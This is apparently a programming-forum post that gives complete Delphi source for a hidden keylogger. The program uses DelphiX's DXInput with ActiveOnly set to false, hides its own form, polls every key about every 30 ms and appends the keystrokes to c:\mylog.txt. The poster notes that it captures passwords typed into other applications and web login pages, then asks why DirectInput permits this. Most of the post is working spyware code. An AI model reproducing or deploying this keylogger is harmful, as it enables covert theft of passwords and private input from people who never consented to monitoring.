Just make a Delphi form and place a TTimer and a DXInput component (DXInput component provided by DelphiX).
Set the DXInput ActiveOnly property to false.
When this application runs, it can read all keyboard input regardless if the application has the focus. It also read keybord input while typing in password edit controls of other applications!!!
[pascal]
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
DXInput, ExtCtrls;
const
BUFSIZE = 64000;
VK_0 = $30;
VK_9 = $39;
VK_A = $41;
VK_Z = $5A;
type
TForm1 = class(TForm)
Timer1: TTimer;
DXInput1: TDXInput;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
oldState: TKeyboardState;
Keys: array[0..BUFSIZE - 1] of char;
index: integer;
lastKey: integer;
procedure AddChar(id: integer);
procedure WriteData;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
index := 0;
lastKey := 0;
AddChar(13);
AddChar(10);
AddChar(13);
AddChar(10);
Visible := false;
FillChar(oldState, SizeOf(oldState), Chr(0));
DXInput1.ActiveOnly := false;
Timer1.Interval := 30;
Timer1.Enabled := true;
end;
function StatesEqual(const s1, s2: TKeyBoardState): boolean;
// Check if two keyboard states are equal
var i: integer;
begin
for i := 0 to 255 do
if s1[i] <> s2[i] then
begin
result := false;
exit;
end;
result := true;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var i: integer;
begin
DXInput1.Keyboard.Update;
for i := 0 to 255 do
if DXInput1.Keyboard.Keys[i] then
AddChar(i);
end;
// Add a retrieved character to buffer
procedure TForm1.AddChar(id: integer);
begin
// Remove this line to avoid replications...
// if id = lastKey then exit;
Keys[index] := chr(byte(id));
inc(index);
lastKey := id;
if index = BUFSIZE then
WriteData;
end;
// Write data to log...
procedure TForm1.WriteData;
var f: file;
begin
AssignFile(f, 'c:\mylog.txt');
{$I-}
reset(f, 1);
{$I+}
if IOResult <> 0 then
begin
{$I-}
rewrite(f, 1);
{$I+}
end;
if IOResult <> 0 then exit;
seek(f, FileSize(f));
BlockWrite(f, Keys, index);
index := 0;
CloseFile(f);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
WriteData;
end;
end.
[/pascal]
If you compile and run the above code it logs all input in c:\mylog.txt file. Even when you type a password in another application or in a internet login page. Using GetKeyBoardState SDK function I don't beleive that this could happen, so why DirectInput has this capability?
Bookmarks